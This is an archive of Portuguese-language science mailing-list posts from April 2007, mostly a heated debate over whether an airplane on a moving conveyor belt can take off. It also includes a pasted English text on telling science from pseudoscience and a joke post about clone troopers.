> não acharam a solução que eu achei desde a primeira vez que refleti
sobre o
> problema aqui na lista, há pelo menos dois anos. Só que eu tinha
dispensado
> a solução que vcs vêem porque, nesta solução em que ele voa, o avião se
> deslocava com o dobro da velocidade *em relação à esteira*... Mas
quando o
> referencial é o solo-terra tanto o avião como a esteira se deslocam
na mesma
> velocidade, em sentidos contrários. ]
>
> 1. Ponto de referência no solo-terra, eixo positivo à sua direita e
negativo
> à esquerda.
> Ve = velocidade da esteira
> Va = velocidade do avião
> Va = -Ve
> O ponto 0 no solo-terra corresponde a um ponto (') na esteira
>
> Ve =]> avião
> <--"-------------------'------------------"----- esteira
> _____________0_____________ solo-terra
> - neg. + pos.
>
> | 1000 | 1000 |
>
> Após 10 segundos o avião atingiu uma velocidade Va=180m/s
> no ponto (") 1000 m à direita e a esteira acelerou simultaneamente
> com o avião e atingiu a mesma velocidade Ve=180m/s, após os
> 10s, se deslocando 1000m à esquerda até o ponto eqüidistante (")
> Em relação ao ponto 0 no solo-terra o avião percorreu 1000m,
> mas em relação ao ponto (') na esteira, que coincidia com o
> ponto 0 no solo-terra, ele se deslocou 2000m.
> *Em relação ao ponto (') na esteira* o avião está se deslocando
> com o *dobro da velocidade* com que se desloca a esteira em
> relação ao ponto 0 no solo-terra.
>
> 1.1 - Avião parado-estacionado e a esteira acionada
> acelerando até atingir a velocidade negativa -Ve.
> Após 10 segundo deslocou-se 1000 metros à esquerda.
>
>
> =]> avião pousado sobre a esteira com turbinas desligadas
> é carregado para trás mil metros do ponto 0 em solo-terra.
> --"---------------------'--------------------- esteira
> _____________0___________ solo-terra c/ ponto de ref. 0
> | 1000m |
>
>
> 1.2 - Se as turbinas do avião estivessem acionadas e ele tivesse
acelerado
> simultaneamente com a esteira - conforme o enunciado do problema -
ele teria
> percorrido sobre a esteira os mesmos 1000 metros à direita. Isto é,
> continuaria posicionado no ponto 0 no solo-terra. Isto é, não teria se
> movimentado em relação ao solo e ao ar que o circunda. É como se
estivesse
> estacionado no ponto 0 no solo-terra. Sabemos que avião estacionado
não alça
> vôo... A não ser quando levado por um furação.
>
> Caso não tenha entendido alguma passagem peço especificar.
>
> Abraços
>
> José Renato
> ..................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Saturday, April 14, 2007 1:29 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
> :)
>
>
> Olá José Renato,
>
> Logo nas primeiras aulas de Física, para os primeiros colegiais da
> escola pública onde leciono, eu ensino meus alunos que parte da
> metodologia de sucesso da ciência, também chamada às vezes de
> "metodologia científica", inclui "manter-se focado no problema a ser
> resolvido e nos fenômenos relevantes envolvidos nele". Assim, se eu
> tivesse que explicar o vôo do avião para meus alunos eu diria a eles
> que a única coisa que faz um avião voar é à diferença de pressão entre
> a parte de cima e de baixo das asas dele(e possivelmente de outras
> partes também, dependendo do modelo aerodinâmico), que causa uma força
> resultante para cima suficiente para elevá-lo.
>
> Assim, qualquer mecanismo que seja empregado para que o avião voe deve
> criar essa diferença de pressão e, no caso dos aviões que não usam
> propulsão por foguetes, isso se dá devido a um certo "Princípio de
> Bernoulli" e ao formato abaulado e desigual das partes superior e
> inferior das asas do avião. O Princípio de Bernoulli é um princípio
> pouco comentado na escola (mesmo nas particulares), embora seja
> riquíssimo como fonte inspiradora para se explicar centenas de
> fenômenos do nosso cotidiano que vão desde o velho caso do avião até a
> razão pela qual as roupas secam mais rápido no varal em dias de vento.
> Enfim, desde que passe ar pelas asas do avião com velocidade
> suficiente para que seja gerada a força resultante capaz de elevá-lo,
> ele voará. Pouco importa o que se passa na casa do vizinho, donde vem
> que, segundo a metodologia científica, não devemos incluir os vizinhos
> quando estamos pesquisando algo em nossa própria casa. :)
>
> Só para finalizar, seja lá o que for que você faça com a esteira o
> resultado será irrelevante nas condições do problema, pois a esteira
> não tem nenhuma influência sobre o movimento horizontal do avião e
> serve somente para lhe dar sustentação em terra, não influindo de
> forma alguma na velocidade com que o vento passa pelas asas do avião.
>
> Como você pode ver, as aulas iniciais sobre a Física e sua metodologia
> de estudo da natureza são fundamentais para que meus alunos economizem
> seus neurônios focando-se apenas nos aspectos relevantes dos
> problemas. É claro que isso poderá limitar um pouco a criatividade
> deles, mas eu acredito que essa criatividade é melhor empregada em
> problemas originais e nas tentativas iniciais de abordagem do problema
> do que na busca de novas soluções para problemas "clássicos" já
> exaustivamente estudados e resolvidos.
>
> Ainda não sei qual foi a "outra" solução que você achou...
>
> Abraços,
> Prof. JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > JC, não há porque se desculpar!
> >
> > Vc - e acredito que a grande maioria também - não acha a solução
que eu
> > achei desde a primeira vez que refleti sobre o problema aqui na
> lista, há
> > pelo menos dois anos.
> >
> > Só que eu tinha dispensado a solução que vcs vêem porque, nesta
> solução em
> > que ele voa, o avião se deslocava com o dobro da velocidade *em
> relação à
> > esteira*... Mas quando o referencial é o solo-terra tanto o avião
> como a
> > esteira se deslocam na mesma velocidade, em sentidos contrários.
> >
> > Acredito que agora vc consiga ver o esquema que eu vejo.
> >
> > []s
> >
> > José Renato
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Friday, April 13, 2007 1:32 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> > :)
> >
> >
> > Olá José Renato,
> >
> > Desculpe-me, mas minha ignorância só permite achar uma solução para as
> > condições descritas do problema idealizado: o avião voa.
> >
> > Abraços,
> > JC
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > >
> > > Olá, José Carlos!
> > >
> > > Não gostaria de lhe estragar o prazer de achar as duas soluções
> > possíveis
> > > para a questão apresentada. Lembro que esse mesmo problema foi
> > apresentado
> > > há tempos na lista e no final ficaram todos dizendo que voa e
> apenas eu
> > > dizendo que não. Agora, espero que não termine do mesmo jeito. Tenho
> > > colocado várias dicas para serem analisadas de modo a acompanhar meu
> > > raciocínio lógico-matemático. Mas até agora parece que ninguém
> > conseguiu
> > > entender minhas explicações.
> > >
> > > Abraços
> > >
> > > José Renato
> > > ...................................................
> > >
> > > From: "José Carlos Antonio" <profjc2003@>
> > > To: <ciencialist@yahoogrupos.com.br>
> > > Sent: Wednesday, April 11, 2007 12:12 AM
> > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo nada
> > > :)
> > >
> > >
> > > Olá JR,
>
> (apaguei o restante)



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SUBJECT: SCIENCE VS. PSEUDOSCIENCE:WHERE IS THE DIFFERENCE?
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/04/2007 22:20

SCIENCE VS. PSEUDOSCIENCE:WHERE IS THE DIFFERENCE?

John Casti (in Paradigms Lost) provided anexcellent summary of the
characteristics ofpseudo-science, which I briefly discuss here asa
user-friendly guide for critical thinking. PhilosopherKarl Popper
proposed his criterion offalsification as a way to distinguish
betweenscience and pseudoscience. The idea is that sciencemakes
falsifiable predictions, while pseudosciencedoes not because one can
always goback and modify the prediction a posteriori sothat it fits
the facts. Unfortunately for Popper,the demarcation problem is not so
simple to resolve,mostly because science itself does notfollow what I
have termed above "naïve" falsificationism.A better way to think about
thisproblem is as a continuum from "hard" sciencessuch as physics and
chemistry (where experimentalmanipulation is possible) to "soft"
oneslike biology and geology (where the element ofhistoricity becomes
more heavy) to protoscientificdisciplines (most of the social
sciences,for which often overarching theories arelacking or difficult
to support empirically) toclear pseudosciences such as astrology
andparapsychology (where not only the theory isunsound when compared
to anything else weknow about the functioning of the universe, butthe
empirical evidence clearly rejects the claimsof the discipline's
practitioners). Here is Casti'sset of criteria for distinguishing
between scienceand pseudoscience:

1. Anachronistic thinking. If an argument isbased on the wisdom of the
ancients (who,remember, knew much less about the worldthan any junior
high school graduateshould), or on the use of outmoded
scientificterminology, there is good reason to besuspicious.

2. Seeking mysteries. While science's objectiveis to solve mysteries,
pseudo-sciencetends to emphasize the existence and
supposedunsolvability of mysteries. This is arather sterile position,
since if a mystery isby definition insoluble, then why wastingones'
time thinking about it?

3. Appeals to myths. This is the idea that ancientmyths must be based
on some kind ofreal events, which became distorted in thecourse of
oral transmission from generationto generation. While this can
certainly happen,just because some cultures share(usually
superficially) similar myths, thatdoes not imply that the underlying
eventsare the same, or even ever happened. Analternative explanation
is that human mindstend to work in a similar fashion, and
thereforeprovide similar explanations for thingsthey do not understand.

4. Casual approach to evidence. Evidence isthe cornerstone that sets
aside science fromany other human intellectual endeavor, including(to
a large extent) philosophy.Given its pivotal role, admissible
evidencehas to be solid and reliable. If we cite a"fact," we have to
be reasonably sure that itindeed corresponds to a verifiable piece
ofevidence. Hearsay is not admissible.

5. Irrefutable hypotheses. Scientific progresscan be made only if a
hypothesis is at leastpotentially open to dismissal. If your
hypothesisis not refutable (i.e., falsifiable) nomatter what the
evidence, then it is useless(of course, it may still be true, but
there isno way to verify it).

6. Spurious similarities. A very insidious trapof human thinking is
drawing parallels betweenconcepts or phenomena that seemreasonable,
and that require an in-depthanalysis to be verified or discarded. For
ex-ample, one can draw mystical significancefrom the fact that one's
car plate number isthe same as one's civic address. But a momentof
reflection would easily lead you toconclude that this is simply a
coincidence.In other cases, however, the parallel mayseem more
compelling. In general, similaritiescan yield genuine insights into
thematter under consideration, but they requirea higher standard of
verification thanthe one provided by a first intuition.

7. Explanation by scenario. It is pretty easy,if one has just a little
bit of imagination, toexplain something by telling a story, that isby
imagining a reasonable scenario. Scientistsare sometimes guilty of
this practice(widespread, for example, among
evolutionarypsychologists). In fact, scenarioscan be useful, because
they may point theinquiry in the right direction. However,when
scenarios remain just-so stories, notbacked by data, they are not
useful toolsbecause many scenarios can be proposed toexplain the same
data, but presumably onlyone is actually correct.

8. Research by literary interpretation. Thisoccurs when the proponent
of a pseudoscientificposition claims that statementsby scientists are
open to alternative,equally valid interpretations. This approachtreats
scientific literature as onemight consider a novel or a painting:
noone interpretation (not even the one espousedby the author!) is
necessarily betterthan any other. In science, this is a far cryfrom
the reality of things. Scientific statementsare the more useful the
more preciseand unambiguous they are. Ideally, a scientifichypothesis
or theory should have oneand only one possible interpretation, andthis
is either correct or not.

9. Refusal to revise. One of the hallmarks ofpseudoscience is the
refusal to revise one'sown positions in the face of new evidence.No
matter how many studies are conductedon the ineffectiveness of
astrology, astrologerswill repeat the same arguments in supportof
their profession. Science is a processof a completely different
nature, where theprimary element is continuous revision andcorrection
to accommodate new evidence.

10. Shift the burden of proof on the other side.The reader should be
weary of statementssuch as "but it has not been disproved."
First,there are simply not enough scientists andfunding to verify or
disprove every claim thathas ever been made. That is not positive
evidencefor that claim, however, but simply ofour ignorance (or
disinterest) on the matter.Second, when one proposes an alternative
toa very well established theory, the burden ofproof is logically and
squarely on the side ofthe newcomer. When Copernicus suggestedthat the
Earth rotates around the Sun, and notvice versa, people did not just
believe himbecause nobody had proven him wrong (onthe contrary, most
people did not even considerhis arguments!). Other astronomers
demandedevidence, and it took more than acentury for the theory to be
accepted.

11. A theory is legitimate simply because it'snew, alternative, or
daring. This is the"Galileo" effect. Proponents of new theoriesare
fond of recalling the many examples ofscientists who had been derided,
ignored, orworse persecuted because of their radicaltheories, which
then proved to be correct.What this line of reasoning ignores,
ofcourse, is the fact that for every Galileo whoeventually succeeded
there were thousands ofcrackpots who did not. For every example ofa
daring, new scientific theory which ends upbeing accepted, there are
many, many examplesof wrong theories, forever rejected andconfined to
the limbo of pseudoscientific history.Novelty per se is no evidence.

(text by Dr. Massimo Pigliucci,



SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/04/2007 23:08

Comento seus comentários deixando espaços entre o texto...

--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Olá, José Carlos! Faço comentários no corpo do e-mail abaixo, após
JR1 -,
> OK?
> Marquei meus comentários anteriores com JR - , sem o índice 1.
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Sunday, April 15, 2007 3:53 AM
> Subject: Rw: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo
> nada
>
>
> Olá José Renato,
>
> Acredito que sua dúvida seja relevante e talvez se deva a alguns
> problemas na sua formação básica em Física. Assim, vou tentar ajudar
> no que for possível e rezarei para que seus vícios de aprendizagem não
> sejam maiores que minha didática. Então vamos lá... (Por partes)
> JR1 - O objetivo não é inferir quem tem problemas de formação básica em
> Física. Isso é irrelevante. Serve apenas para o inferidor se sentir
melhor
> em relação à sua falta de entendimento ao esquema apresentado.


Esse pode não ser o seu objetivo, mas é o meu. Pode não ter relevância
para você, mas para mim é a única coisa relevante de fato. :)

Esqueceu-se que sou professor? Professores ganham a vida e perdem
minutos preciosos que poderiam dedicar a seus próprios filhos na árdua
luta de tentar facilitar a aprendizagem dos outros. Às vezes em troca
de desaforos, mas também é possível ganhar algum dinheiro. :)


> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
>
> JR - Caro, Prof. José Carlos!
> Sabemos que todo movimento tem um ponto como referência, o ponto zero.
>
> Vamos começar por aqui. Talvez o que você tenha dito seja que "para se
> descrever um movimento é bom estabelecer um referencial em relação ao
> qual efetuaremos medidas". O "Ponto zero" a que você se refere é a
> "origem" do referencial escolhido. Os referenciais não são do
> "movimento", mas sim do "observador"; daí decorre que, como você
> parece estar tentando fazer, diferentes observadores podem ter
> diferentes descrições para um mesmo movimento caso tenham escolhido
> referenciais diferentes. Perfeito, mas a "descrição do movimento" não
> é o movimento em si. Procure lembrar disso.
> JR1 - Redundante ao que já tinha apresentado de forma objetiva. Só um
> reparo: se os observadores escolherem *o mesmo ponto de referência* o
> movimento terá o mesmo esquema de desenvolvimento.


Redundância é um dos princípios pedagógicos da aprendizagem já
proposto desde os behavioristas. Redunda, redunda, redunda e fixa a
aprendizagem. :)


> JR - Usualmente, consideramos que a Terra está "fixa". Sua
superfície está
> sempre no mesmo lugar. Desconsideramos todos os demais movimentos, como:
> rotação, translação, nutação, precessão do equinócio e translação
rumo ao
> Apex, ponto imaginário entre as constelações de Hércules e Balança.
>
> Sim, essa é uma simplificação útil na maioria dos casos.
>
> JR - Entretanto, para um cálculo de trajetórias fora da superfície
> terrestre, como ocorre em naves espaciais, já não podemos desconsiderar
> os principais movimentos da Terra, da Lua, do Sol e dos planetas.
>
> Na verdade podemos, pois os referenciais, como você parece saber bem,
> podem ser escolhidos conforme a conveniência do observador. Nada
> impede que descrevamos os movimentos de uma nave tomando como
> referencial a Terra, o Sol ou qualquer outro lugar. A questão é sempre
> a mesma: "qual é o melhor referencial para se descrever o movimento
> com o mínimo de complexidade possível?". Procure lembrar disso também.
> JR1 - Estou falando da influência gravitacional desses astros
citados acima,
> que estão em movimento, as quais devem ser considerados nas
trajetórias de
> naves ou satélites.


Não, você só estava falando do avião e de referenciais. E eu também. :)

Mas isso não tem a menor importância. :)))


> JR - Esse comentário inicial é para relembrar e alertar que *todos os
> movimentos* são relativos a algum ponto de referência. A depender da
escolha
> dessa referência podemos ter várias interpretações.
>
> Exato. E isso vale para movimentos na Terra ou fora dela.
>
> JR - No nosso caso há apenas duas possibilidades básicas a serem
utilizadas:
> um ponto no solo-terra ou um ponto na pista-esteira.
>
> Não é verdade. Talvez aqui esteja começando o problema. Como você mesmo
> acabou de dizer acima, qualquer referencial pode ser escolhido e,
como eu
> frisei um pouco mais acima, é bom escolhermos um
> referencial que torne a descrição do movimento tão simples quanto
possível.
> No caso da descrição do movimento de um avião o que parece ser mais
simples
> é escolher a Terra como referencial e desprezar todos os seus movimentos
> (rotação, translação, etc.).
> JR - Vc entende o que eu quis dizer com possibilidades *básicas*?
>
> JR -Trago a seguir o texto de minha última mensagem para continuar os
> esclarecimentos ali já iniciados.
>
> [ Vc - e acredito que a grande maioria dos participantes da lista -
também
> não acharam a solução que eu achei desde a primeira vez que refleti
sobre o
> problema aqui na lista, há pelo menos dois anos. Só que eu tinha
dispensado
> a solução que vcs vêem porque, nesta solução em que ele voa, o avião se
> deslocava com o dobro da velocidade *em relação à esteira*... Mas
quando o
> referencial é o solo-terra tanto o avião como a esteira se deslocam
na mesma
> velocidade, em sentidos contrários. ]
>
> 1. Ponto de referência no solo-terra, eixo positivo à sua direita e
> negativo à esquerda.
> Ve = velocidade da esteira
> Va = velocidade do avião
> Va = -Ve
> O ponto 0 no solo-terra corresponde a um ponto (') na esteira
>
> Ve =]> avião
> <--"-------------------'------------------"----- esteira
> _____________0_____________ solo-terra
> - neg. + pos.
>
> | 1000 | 1000 |
>
> Após 10 segundos o avião atingiu uma velocidade Va=180m/s
> no ponto (") 1000 m à direita e a esteira acelerou simultaneamente
> com o avião e atingiu a mesma velocidade Ve=180m/s, após os
> 10s, se deslocando 1000m à esquerda até o ponto eqüidistante (")
> Em relação ao ponto 0 no solo-terra o avião percorreu 1000m,
> mas em relação ao ponto (') na esteira, que coincidia com o
> ponto 0 no solo-terra, ele se deslocou 2000m.
> *Em relação ao ponto (') na esteira* o avião está se deslocando
> com o *dobro da velocidade* com que se desloca a esteira em
> relação ao ponto 0 no solo-terra.
>
> OK. Sua interpretação está muito boa.
> JR 1 - Grato. Nessa possibilidade estamos de acordo, nos concentremos
> na outra possibilidade a seguir.


É, é lá que está o erro. :)


> JR - 1.1 - Avião parado-estacionado e a esteira acionada acelerando até
> atingir a velocidade negativa -Ve.
> Após 10 segundo deslocou-se 1000 metros à esquerda.
>
> =]> avião pousado sobre a esteira *com turbinas desligadas*
> é carregado para trás mil metros do ponto 0 em solo-terra.
>
> ERRADO. A esteira NÃO CARREGA o avião. [ ... ]
> JR1 - O seu errado está errado... Claro que um avião pousado sobre
> a esteira com as turbinas paradas será carregado tranqüilamente
> pela esteira, quando a esteira se movimenta. Faço esse raciocínio
> por partes para ver se vc entende os diversos movimentos que
> ocorrem no esquema.


Não, José Renato, o avião não será carregado MESMO! E é justamente aí
que está o problema básico de sua formação em Física como mencionei no
início. Você não conseguiu ainda compreender bem o papel do atrito e
da inércia. Não há nenhum atrito no rolamento das rodas (por suposição
do problema) e o avião, como tudo que tem massa, tem inércia, resiste
à mudança de movimento até que lhe seja aplicada uma força resultante
não nula. Você pode girar as rodas do avião para o lado que quiser,
mas sem atrito nos rolamentos dela não haverá como transmitir força
para o avião (e essa era uma das simplificações adotadas no problema:
desprezar o atrito nos rolamentos da roda - exemplifiquei isso
apontando que você o desprezou no primeiro caso, só não consegue
compreender que o atrito também é desprezado no segundo caso, mas já
veremos porque...).

Seu problema não é com o referencial, é com o conceito de atrito e de
inércia. Ah, também tem outro: com o conceito de força Normal (força
de compressão entre duas superfícies).


> [ ... ] ERRADO. A esteira NÃO CARREGA o avião. Ele permanecerá
> parado sobre o ponto O. Veja que se a esteira carregasse o avião,
> então no primeiro caso o avião deveria ter ficado em repouso sobre o
ponto O
> (pois ele andou 1000 m para a direita e subtraindo os 1000 que a
esteira o
> teria carregado para a esquerda teríamos um deslocamento total em
relação à
> ao solo igual zero!); se ele não ficou parado no primeiro caso é porque
> estamos admitindo que o movimento da esteira não afeta o do avião (a
esteira
> e o avião não trocam forças horizontais, apenas verticais).
> JR1 - Veja que quando a esteira se movimenta, com o avião pousado
sobre ela
> com turbinas desligadas, cria uma componente horizontal que desloca
o avião
> na mesma direção do movimento da esteira.


NÃO, José Renato, não existe atrito nos rolamentos da roda. Você pode
girá-la sem transmitir forças para o avião. Esse foi seu próprio
pressuposto no caso 1.

Eu sei que não lhe parece nada natural imaginar isso, pois isso só
existe no mundo idealizado do problema que vocês inventaram (sem
atrito nenhum no rolamento da roda do avião), mas tente imaginar que
sua esteira acelerou rapidamente... O avião não ficaria para trás e as
rodas dele girariam? Pois é; sem nenhum atrito seria isso o que você
veria para qualquer aceleração da esteira: esteira indo, avião
ficando, rodinhas rodando livres e soltas.


> Observe que você ainda está usando o referencial do solo e o
problema parece
> não ser a escolha do referencial e sim a maneira como você trata a
interação
> entre a esteira e o avião. Vejamos adiante...
> JR1 - Quando vc afirmou acima que a esteira não carrega o avião vi
que é a
> maneira como vc trata a interação entre a esteira e o avião que está lhe
> confundindo. Ao se movimentar a esteira cria uma componente que move o
> avião na mesma direção do movimento da esteira. A menos que vc
considere um
> avião pendurado sem contato com a esteira ou contato especial com
atrito
> zero.


:))) Cruzes, que péssimos professores você teve. :)

Eu não estou me confundindo não, é que não há mesmo nenhuma componente
de força horizontal aplicada pela esteira ao avião. A esteira gira as
rodas do avião, mas as rodas não carregam o avião, apenas giram
(livres e soltas). :)

Pegue um carrinho de brinquedo, coloque-o em uma mesa horizontal,
sobre uma folha de papel sulfite, e puxe-a rapidamente; você verá que
o carrinho não segue a folha. Isso deve-se à inércia e ao pouco atrito
nos rolamentos da roda do carrinho.

Se você puxar a folha bem devagar ela arrastará o carrinho, mas isso
acontece porque HÁ um PEQUENO atrito suficiente para transmitir
pequenas forças capazes de acelerar o carrinho lentamente. Mas se você
supor (como está sendo suposto nesse problema) que não existe atrito
nenhum nos rolamentos da roda, então mesmo puxando a folha
infinitamente devagar você não moveria o carrinho, apenas giraria suas
rodas. Sacou?

É a mesma coisa o que acontecerá com o avião.


>
> JR - --"---------------------'--------------------- esteira
> _____________0___________ solo-terra c/ ponto de ref. 0
> | 1000m |
>
> 1.2 - Se as turbinas do avião estivessem acionadas e ele tivesse
> acelerado simultaneamente com a esteira - conforme o enunciado
> do problema - ele teria percorrido *sobre a esteira* os mesmos
> 1000 metros à direita.
>
> Corretíssimo, e lembrando sempre que estamos tomando o solo como
> referêncial.
> JR1 - Acima eu estou plotando os dois referenciais coincidindo o ponto
> 0 no solo-terra com o ponto ( ' ) na esteira. O ponto ( " ) também são
> coincidentes a 1000 m à esquerda tanto no solo como na esteira. Esse
> esquema acima é a "foto" tirada no momento após 10s da esteira ser
> acionada e acelerada.


Nada a comentar aqui.


> JR - Isto é, continuaria posicionado no ponto 0 no solo-terra.
> Isto é, não teria se movimentado em relação ao solo e ao ar que
> o circunda. É como se estivesse estacionado no ponto 0 no solo-terra.
>
> ERRADO, pois ele não foi arrastado para trás pela esteira e, da mesma
> forma, suas turbinas não interferem no movimento da esteira, mas tão
> somente no movimento do avião. Assim, em relação ao solo, o avião
> teria se deslocado 1000 m para a direita, exatamente como no primeiro
> caso.
> JR1 - Por que vc acha que a esteira não carrega o avião para trás?


Eu não acho, eu tenho certeza. (Professor é tudo metido a besta) :)

Foi explicado mais acima, espero que você tenha compreendido dessa
vez. Mas se não compreendeu, é só dizer qual parte e lá vamos nós de
novo...


> Veja que,
> para seu melhor entendimento, eu estou raciocinando os movimentos
> por partes para depois considerá-los simultaneamente, OK? Se as turbinas
> estão paradas, a esteira vai acelerar carregando o avião com ela.


NÃO, conforme explicado acima.


> Após
> 10s, o avião e o ponto de ref na esteira que coincidia com o pto de ref
> situado no solo, está agora a 1000m à esquerda.


NÃO, conforme explicado acima.


> JR - Sabemos que avião estacionado não alça vôo... A não ser quando
levado
> por um furação.
>
> Exatamente, no entanto o avião não está parado em relação ao chão e,
> por isso, ele voa! :)
> JR1 - Quando os dois movimentos são realizados simultaneamente, após
os 10s,
> a esteira terá carregado o avião 1000m à esquerda e, nesse mesmo
período de
> 10s, as turbinas terá movimentado o avião 1000m para a direita.
> No final teremos -1000 + 1000 = zero. Mas, nesse caso, isso ocorre
> de forma simultânea em parcelas infinitesimais.


NÃO conforme explicado acima. Não há movimento de arrasto do avião no
sentido do movimento da esteira. A esteira APENAS FAZ GIRAR AS RODAS
DO AVIÃO. :)


> > Caso não tenha entendido alguma passagem peço especificar.
>
> Entendi todas as passagens. Espero que tenha entendido as explicações.
>
> Para complementar meus comentários e tentar ajudá-lo um pouco mais a
> superar esse problema de interpretação sugiro que atente para o fato
> de que seu erro não diz respeito aos referenciais adotados, que
> na verdade foram o mesmo - o chão - nos dois casos, mas sim o de
> admitir dois tipos de interação diferentes entre a esteira e o avião:
> JR1 - Veja que eu considero no esquema o pto de ref na esteira ( ' ) e,
> após 10s, o ponto ( " ) à esquerda.


Eu sei o que você fez (na noite passada, he he) José Renato. Foi um
erro banal (no sentido de que qualquer um, sabendo ou não Física, pode
cometê-lo vez por outra). Muitos o cometem. Não ligue para meu
sarcasmo, é que eu me divirto ensinando as pessoas que não querem
"aprender" porque são "pirracentas". :)


> Primeiro caso: você considerou, corretamente (pelas condições do
> problema), que o movimento da esteira não afeta o movimento do avião,
> ou seja, a esteira não carrega o avião;
> JR1 - Explique porque a esteira não carrega o avião pousado sobre
> ela com as turbinas paradas... Esteira transportadora que não
> transporta me é estranha.


Foi explicado acima. Mas caso ainda reste alguma dúvida relativa ao
"peso" do avião, perceba que isso não importa já que não há atrito no
rolamento da roda. Se o avião pesar 1 N ou 10^9 N isso só irá alterar
a força de contato entre a roda e a esteira, mas essa força é vertical
se a esteira estiver na horizontal e, portanto, não possui nenhuma
componente na horizontal capaz de alterar o movimento horizontal do avião.

Experimente patinar carregando alguns sacos de arroz nos braços, você
notará que seu movimento não se modificará muito devido ao peso extra
(você não perderá velocidade significativamente mais rápido do que sem
os pesos extras). Isso ocorre, novamente, porque o atrito no rolamento
das rodas é pequeno. Se esse atrito fosse nulo você não notaria
nenhuma diminuição no movimento, pois não haveria nenhuma resultante
horizontal.



> Segundo caso: você considerou no mesmo problema, e erroneamente (pelas
> condições do problema), que o movimento da esteira afeta o movimento
> do avião, ou seja, que a esteira carrega o avião.
> JR1 - Gostaria de saber porque vc acha que a esteira não carrega o avião
> pousado sobre ela com turbinas paradas, igual a um pacote sobre qualquer
> esteira usada para transporte.


Porque o pacote não possui rolamento. O atrito entre o pacote e a
esteira é o atrito estático (pacote parado sobre a esteira) e de
escorregamento (sem rolar). Esse tipo de atrito depende diretamente da
força de compressão (força Normal - com a mesma intensidade do peso no
caso do avião na superfície horizontal) entre as superfícies do pacote
e da esteira (Formuleca: Atrito estático máximo = coeficiente de
atrito estático X força Normal). Se o pacote for cilíndrico e puder
rolar sobre a esteira o atrito será de rolamento e é calculado de
outra forma, mas ainda assim depende da força Normal. Mas no caso de
rodas que giram presas a rolamentos internos só há transmissão de
forças horizontais se houver atrito nesses rolamentos internos da roda
(procure na internet algumas imagens de rolamentos com eferas ou
cilindros entre o eixo e a roda). Nesse último caso o peso do corpo
afeta menos o movimento e, no caso idealizado no probleminha do avião,
esse atrito foi totalmente desprezado (e se não tivesse sido, a parte
I da sua explicação estaria furada, pois lá você desprezou esse atrito).


> Provavelmente seu erro se deve a uma má compreensão conceitual do
> "atrito", pois no primeiro caso você consegue facilmente desprezar o
> atrito dos rolamentos da roda do avião, o que faz com que você perceba
> corretamente que o movimento da esteira apenas aumenta a velocidade de
> rotação das rodas do avião, mas não afeta o movimento do próprio
> avião. Já no segundo caso, talvez pelo fato de que o avião esteja
> inicialmente em repouso, você passou a "admitir um atrito inexistente"
> que "carregaria o avião" no sentido do movimento da esteira; porém,
> tudo o que você veria seria uma esteira rolando para a esquerda, as
> rodas do avião girando e o avião parado até o momento em que liga sua
> turbinas e então começa a se mover para a direita.
> JR1 - O atrito considerado é o normal de qualquer avião.


Báh, aluno enrolão! :)))

Esse "O atrito considerado é o normal de qualquer avião" é onde
costumo colocar meu X nas correções. :)))

O atrito considerado no problema foi apenas o atrito entre o ar e o
avião, não nos rolamentos das rodas.

Não me venha com churumelas, veja a explicação que dei acima e fique
craque em atrito. ;)


> Então seu problema não é com os referenciais (e veja que você usou
> sempre o mesmo referencial), mas sim com o conceito de atrito (e,
> provavelmente, também com o conceito de inércia).
> JR1 - Reveja minhas explicações com calma e confirme que eu estou
> considerando no primeiro caso o pto ref 0 no solo-terra e no segundo o
> pto ref ( ' ) coincidindo com o ponto 0, antes dos movimento iniciarem.


Ê José, relaxa, eu ganho a vida para ter calma e paciência. :)))

Eu sempre confiro tudo. Você está errado sim e agora acho que já
percebeu isso claramente. Mas isso não é nenhum pecado, eu não sou
cristão e não vou lhe cobrar o dízimo. Então aproveite a oportunidade
e conserte o "erro de formação" que havia. Relaxe. Se ninguém errasse
nunca eu perderia os meus empregos. Coloque a culpa no seu
ex-professor e bola pra frente. ;)


> Espero ter ajudado.
> JR1 - Só dialogando com objetividade é que podemos perceber
> o que o outro já sabe e o que ainda não sabe.


Yes! Objetividade, essa é a palavra. Você está me saindo um ótimo
aluno. (Depois eu mando a fatura, he he).


Abraços,
JC


> Abraços,
> Prof. JC
>
> Abraços
> José Renato
> ..................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Saturday, April 14, 2007 1:29 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> > :)
> >
> >
> > Olá José Renato,
> ( apaguei o restante )
>




SUBJECT: CLONE WARS KOREA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/04/2007 01:02

Como seriam as Guerras Clônicas se Hwang Woo-Suk estivesse à cargo das
instalações de Tapioca City no planeta Kamino?

http://br.groups.yahoo.com/group/ciencialist/files/clonetroopers.JPG

[]s,

Roberto Takata



SUBJECT: Re: CLONE WARS KOREA
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/04/2007 01:16

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> Como seriam as Guerras Clônicas se Hwang Woo-Suk estivesse à cargo das
> instalações de Tapioca City no planeta Kamino?
>
> http://br.groups.yahoo.com/group/ciencialist/files/clonetroopers.JPG

